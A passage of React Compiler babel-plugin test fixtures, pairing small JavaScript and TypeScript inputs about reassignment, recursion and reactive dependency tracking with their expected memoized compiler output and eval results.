    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.expect.md",
    "content": "\n## Input\n\n```javascript\nlet b = 1;\n\nexport default function useMyHook() {\n  const fn = () => {\n    b = 2;\n  };\n  return fn;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMyHook,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nlet b = 1;\n\nexport default function useMyHook() {\n  const fn = _temp;\n\n  return fn;\n}\nfunction _temp() {\n  b = 2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMyHook,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-global-return.js",
    "content": "let b = 1;\n\nexport default function useMyHook() {\n  const fn = () => {\n    b = 2;\n  };\n  return fn;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMyHook,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\n// @flow\nfunction Component() {\n  const items = makeArray(0, 1, 2);\n  let item;\n  let sum = 0;\n  while ((item = items.pop())) {\n    sum += item;\n  }\n  return [items, sum];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\n// @flow\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const items = makeArray(0, 1, 2);\n    let item;\n    let sum = 0;\n    while ((item = items.pop())) {\n      sum = sum + item;\n    }\n    t0 = [items, sum];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-in-while-loop-condition.js",
    "content": "import {makeArray} from 'shared-runtime';\n\n// @flow\nfunction Component() {\n  const items = makeArray(0, 1, 2);\n  let item;\n  let sum = 0;\n  while ((item = items.pop())) {\n    sum += item;\n  }\n  return [items, sum];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-object-in-context.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  let foo = () => {\n    x = {};\n  };\n  foo();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = [];\n    const foo = () => {\n      x = {};\n    };\n\n    foo();\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-object-in-context.js",
    "content": "function Component(props) {\n  let x = [];\n  let foo = () => {\n    x = {};\n  };\n  foo();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-primitive-in-context.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 5;\n  let foo = () => {\n    x = {};\n  };\n  foo();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = 5;\n    const foo = () => {\n      x = {};\n    };\n\n    foo();\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-primitive-in-context.js",
    "content": "function Component(props) {\n  let x = 5;\n  let foo = () => {\n    x = {};\n  };\n  foo();\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nexport hook useItemLanguage(items) {\n  return useMemo(() => {\n    let language: ?string = null;\n    items.forEach(item => {\n      if (item.language != null) {\n        language = item.language;\n      }\n    });\n    return language;\n  }, [items]);\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport function useItemLanguage(items) {\n  const $ = _c(2);\n  let language;\n  if ($[0] !== items) {\n    language = null;\n    items.forEach((item) => {\n      if (item.language != null) {\n        language = item.language;\n      }\n    });\n    $[0] = items;\n    $[1] = language;\n  } else {\n    language = $[1];\n  }\n  return language;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassign-variable-in-usememo.js",
    "content": "// @flow\nexport hook useItemLanguage(items) {\n  return useMemo(() => {\n    let language: ?string = null;\n    items.forEach(item => {\n      if (item.language != null) {\n        language = item.language;\n      }\n    });\n    return language;\n  }, [items]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassigned-phi-in-returned-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  return () => {\n    let str;\n    if (arguments.length) {\n      str = arguments[0];\n    } else {\n      str = props.str;\n    }\n    global.log(str);\n  };\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = () => {\n      let str;\n      if (arguments.length) {\n        str = arguments[0];\n      } else {\n        str = props.str;\n      }\n\n      global.log(str);\n    };\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassigned-phi-in-returned-function-expression.js",
    "content": "function Component(props) {\n  return () => {\n    let str;\n    if (arguments.length) {\n      str = arguments[0];\n    } else {\n      str = props.str;\n    }\n    global.log(str);\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  x.push(props.p0);\n  let y = x;\n\n  if (props.p1) {\n    x = [];\n  }\n\n  y.push(props.p2);\n\n  return <Component x={x} y={y} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1 || $[2] !== props.p2) {\n    let x = [];\n    x.push(props.p0);\n    const y = x;\n    if (props.p1) {\n      let t1;\n      if ($[4] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t1 = [];\n        $[4] = t1;\n      } else {\n        t1 = $[4];\n      }\n      x = t1;\n    }\n    y.push(props.p2);\n    t0 = <Component x={x} y={y} />;\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = props.p2;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-conditional.js",
    "content": "function Component(props) {\n  let x = [];\n  x.push(props.p0);\n  let y = x;\n\n  if (props.p1) {\n    x = [];\n  }\n\n  y.push(props.p2);\n\n  return <Component x={x} y={y} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = [];\n  if (a) {\n    x.push(a);\n  }\n  let y = <div>{x}</div>;\n\n  switch (b) {\n    case 0: {\n      x = [];\n      x.push(b);\n      break;\n    }\n    default: {\n      x = [];\n      x.push(c);\n    }\n  }\n  return (\n    <div>\n      {y}\n      {x}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(10);\n  let t0;\n  let x;\n  if ($[0] !== a) {\n    x = [];\n    if (a) {\n      x.push(a);\n    }\n    t0 = <div>{x}</div>;\n    $[0] = a;\n    $[1] = t0;\n    $[2] = x;\n  } else {\n    t0 = $[1];\n    x = $[2];\n  }\n  const y = t0;\n  bb0: switch (b) {\n    case 0: {\n      if ($[3] !== b) {\n        x = [];\n        x.push(b);\n        $[3] = b;\n        $[4] = x;\n      } else {\n        x = $[4];\n      }\n      break bb0;\n    }\n    default: {\n      if ($[5] !== c) {\n        x = [];\n        x.push(c);\n        $[5] = c;\n        $[6] = x;\n      } else {\n        x = $[6];\n      }\n    }\n  }\n  let t1;\n  if ($[7] !== x || $[8] !== y) {\n    t1 = (\n      <div>\n        {y}\n        {x}\n      </div>\n    );\n    $[7] = x;\n    $[8] = y;\n    $[9] = t1;\n  } else {\n    t1 = $[9];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment-separate-scopes.js",
    "content": "function foo(a, b, c) {\n  let x = [];\n  if (a) {\n    x.push(a);\n  }\n  let y = <div>{x}</div>;\n\n  switch (b) {\n    case 0: {\n      x = [];\n      x.push(b);\n      break;\n    }\n    default: {\n      x = [];\n      x.push(c);\n    }\n  }\n  return (\n    <div>\n      {y}\n      {x}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = [];\n  x.push(props.p0);\n  let y = x;\n\n  x = [];\n  let _ = <Component x={x} />;\n\n  y.push(props.p1);\n\n  return <Component x={x} y={y} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1) {\n    let x = [];\n    x.push(props.p0);\n    const y = x;\n    let t1;\n    if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = [];\n      $[3] = t1;\n    } else {\n      t1 = $[3];\n    }\n    x = t1;\n    y.push(props.p1);\n    t0 = <Component x={x} y={y} />;\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reassignment.js",
    "content": "function Component(props) {\n  let x = [];\n  x.push(props.p0);\n  let y = x;\n\n  x = [];\n  let _ = <Component x={x} />;\n\n  y.push(props.p1);\n\n  return <Component x={x} y={y} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component1() {\n  const x = callback(10);\n  function callback(x) {\n    if (x == 0) {\n      return null;\n    }\n    return callback(x - 1);\n  }\n  return x;\n}\n\nfunction Component() {\n  function callback(x) {\n    if (x == 0) {\n      return null;\n    }\n    return callback(x - 1);\n  }\n  return callback(10);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component1() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = callback(10);\n    function callback(x_0) {\n      if (x_0 == 0) {\n        return null;\n      }\n\n      return callback(x_0 - 1);\n    }\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n\n  return x;\n}\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    function callback(x) {\n      if (x == 0) {\n        return null;\n      }\n      return callback(x - 1);\n    }\n    t0 = callback(10);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function-expression.js",
    "content": "function Component1() {\n  const x = callback(10);\n  function callback(x) {\n    if (x == 0) {\n      return null;\n    }\n    return callback(x - 1);\n  }\n  return x;\n}\n\nfunction Component() {\n  function callback(x) {\n    if (x == 0) {\n      return null;\n    }\n    return callback(x - 1);\n  }\n  return callback(10);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(x) {\n  if (x <= 0) {\n    return 0;\n  }\n  return x + foo(x - 1) + (() => foo(x - 2))();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [10],\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(x) {\n  if (x <= 0) {\n    return 0;\n  }\n\n  return x + foo(x - 1) + foo(x - 2);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [10],\n};\n\n```\n      \n### Eval output\n(kind: ok) 364"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/recursive-function.js",
    "content": "function foo(x) {\n  if (x <= 0) {\n    return 0;\n  }\n  return x + foo(x - 1) + (() => foo(x - 2))();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [10],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({obj, objIsNull}) {\n  const x = [];\n  b0: {\n    if (objIsNull) {\n      break b0;\n    } else {\n      x.push(obj.a);\n    }\n    x.push(obj.b);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { obj, objIsNull } = t0;\n  let x;\n  if ($[0] !== obj || $[1] !== objIsNull) {\n    x = [];\n    bb0: {\n      if (objIsNull) {\n        break bb0;\n      } else {\n        x.push(obj.a);\n      }\n\n      x.push(obj.b);\n    }\n    $[0] = obj;\n    $[1] = objIsNull;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ obj: null, objIsNull: true }],\n  sequentialRenders: [\n    { obj: null, objIsNull: true },\n    { obj: { a: 2 }, objIsNull: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) []\n[2,null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-break-in-scope.ts",
    "content": "function useFoo({obj, objIsNull}) {\n  const x = [];\n  b0: {\n    if (objIsNull) {\n      break b0;\n    } else {\n      x.push(obj.a);\n    }\n    x.push(obj.b);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {setProperty} from 'shared-runtime';\n\nfunction useFoo({o, branchCheck}: {o: {value: number}; branchCheck: boolean}) {\n  let x = {};\n  if (branchCheck) {\n    setProperty(x, o.value);\n  } else {\n    if (o.value) {\n      setProperty(x, o.value);\n    } else {\n      setProperty(x, o.value);\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{o: {value: 2}, branchCheck: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { setProperty } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { o, branchCheck } = t0;\n  let x;\n  if ($[0] !== branchCheck || $[1] !== o.value) {\n    x = {};\n    if (branchCheck) {\n      setProperty(x, o.value);\n    } else {\n      if (o.value) {\n        setProperty(x, o.value);\n      } else {\n        setProperty(x, o.value);\n      }\n    }\n    $[0] = branchCheck;\n    $[1] = o.value;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ o: { value: 2 }, branchCheck: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"wat0\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-cfg-nested-testifelse.ts",
    "content": "import {setProperty} from 'shared-runtime';\n\nfunction useFoo({o, branchCheck}: {o: {value: number}; branchCheck: boolean}) {\n  let x = {};\n  if (branchCheck) {\n    setProperty(x, o.value);\n  } else {\n    if (o.value) {\n      setProperty(x, o.value);\n    } else {\n      setProperty(x, o.value);\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{o: {value: 2}, branchCheck: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({obj, objIsNull}) {\n  const x = [];\n  if (objIsNull) {\n    return;\n  } else {\n    x.push(obj.a);\n  }\n  x.push(obj.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(4);\n  const { obj, objIsNull } = t0;\n  let t1;\n  let x;\n  if ($[0] !== obj || $[1] !== objIsNull) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (objIsNull) {\n        t1 = undefined;\n        break bb0;\n      } else {\n        x.push(obj.a);\n      }\n\n      x.push(obj.b);\n    }\n    $[0] = obj;\n    $[1] = objIsNull;\n    $[2] = t1;\n    $[3] = x;\n  } else {\n    t1 = $[2];\n    x = $[3];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ obj: null, objIsNull: true }],\n  sequentialRenders: [\n    { obj: null, objIsNull: true },\n    { obj: { a: 2 }, objIsNull: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) \n[2,null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-cond-deps-return-in-scope.ts",
    "content": "function useFoo({obj, objIsNull}) {\n  const x = [];\n  if (objIsNull) {\n    return;\n  } else {\n    x.push(obj.a);\n  }\n  x.push(obj.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{obj: null, objIsNull: true}],\n  sequentialRenders: [\n    {obj: null, objIsNull: true},\n    {obj: {a: 2}, objIsNull: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {identity, addOne} from 'shared-runtime';\n\nfunction useCondDepInConditionalExpr(props, cond) {\n  const x = identity(cond) ? addOne(props.a.b) : identity(props.a.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInConditionalExpr,\n  params: [{a: {b: 2}}, true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport { identity, addOne } from \"shared-runtime\";\n\nfunction useCondDepInConditionalExpr(props, cond) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== cond || $[1] !== props.a.b) {\n    t0 = identity(cond) ? addOne(props.a.b) : identity(props.a.b);\n    $[0] = cond;\n    $[1] = props.a.b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInConditionalExpr,\n  params: [{ a: { b: 2 } }, true],\n};\n\n```\n      \n### Eval output\n(kind: ok) 3"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-condexpr.js",
    "content": "// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {identity, addOne} from 'shared-runtime';\n\nfunction useCondDepInConditionalExpr(props, cond) {\n  const x = identity(cond) ? addOne(props.a.b) : identity(props.a.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInConditionalExpr,\n  params: [{a: {b: 2}}, true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInDirectIfElse(props, cond) {\n  const x = {};\n  if (identity(cond)) {\n    x.b = props.a.b;\n  } else {\n    x.c = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInDirectIfElse,\n  params: [{a: {b: 2}}, true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport { identity } from \"shared-runtime\";\n\nfunction useCondDepInDirectIfElse(props, cond) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== cond || $[1] !== props.a.b) {\n    x = {};\n    if (identity(cond)) {\n      x.b = props.a.b;\n    } else {\n      x.c = props.a.b;\n    }\n    $[0] = cond;\n    $[1] = props.a.b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInDirectIfElse,\n  params: [{ a: { b: 2 } }, true],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-ifelse.js",
    "content": "// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {identity} from 'shared-runtime';\n\nfunction useCondDepInDirectIfElse(props, cond) {\n  const x = {};\n  if (identity(cond)) {\n    x.b = props.a.b;\n  } else {\n    x.c = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInDirectIfElse,\n  params: [{a: {b: 2}}, true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in every path\n\nimport {identity, getNull} from 'shared-runtime';\n\nfunction useCondDepInNestedIfElse(props, cond) {\n  const x = {};\n  if (identity(cond)) {\n    if (getNull()) {\n      x.a = props.a.b;\n    }\n  } else {\n    x.d = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInNestedIfElse,\n  params: [{a: {b: 2}}, true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in every path\n\nimport { identity, getNull } from \"shared-runtime\";\n\nfunction useCondDepInNestedIfElse(props, cond) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== cond || $[1] !== props) {\n    x = {};\n    if (identity(cond)) {\n      if (getNull()) {\n        x.a = props.a.b;\n      }\n    } else {\n      x.d = props.a.b;\n    }\n    $[0] = cond;\n    $[1] = props;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInNestedIfElse,\n  params: [{ a: { b: 2 } }, true],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse-missing.js",
    "content": "// props.a.b should NOT be added as a unconditional dependency to the reactive\n// scope that produces x if it is not accessed in every path\n\nimport {identity, getNull} from 'shared-runtime';\n\nfunction useCondDepInNestedIfElse(props, cond) {\n  const x = {};\n  if (identity(cond)) {\n    if (getNull()) {\n      x.a = props.a.b;\n    }\n  } else {\n    x.d = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInNestedIfElse,\n  params: [{a: {b: 2}}, true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/cfg-nested-ifelse.expect.md",
    "content": "\n## Input\n\n```javascript\n// props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport {getNull, identity} from 'shared-runtime';\n\nfunction useCondDepInNestedIfElse(props, cond) {\n  const x = {};\n  if (identity(cond)) {\n    if (getNull()) {\n      x.a = props.a.b;\n    } else {\n      x.b = props.a.b;\n    }\n  } else if (identity(cond)) {\n    x.c = props.a.b;\n  } else {\n    x.d = props.a.b;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInNestedIfElse,\n  params: [{a: {b: 2}}, true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // props.a.b should be added as a unconditional dependency to the reactive\n// scope that produces x, since it is accessed unconditionally in all cfg\n// paths\n\nimport { getNull, identity } from \"shared-runtime\";\n\nfunction useCondDepInNestedIfElse(props, cond) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== cond || $[1] !== props.a.b) {\n    x = {};\n    if (identity(cond)) {\n      if (getNull()) {\n        x.a = props.a.b;\n      } else {\n        x.b = props.a.b;\n      }\n    } else {\n      if (identity(cond)) {\n        x.c = props.a.b;\n      } else {\n        x.d = props.a.b;\n      }\n    }\n    $[0] = cond;\n    $[1] = props.a.b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useCondDepInNestedIfElse,\n  params: [{ a: { b: 2 } }, true],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":2}"
  },
  {
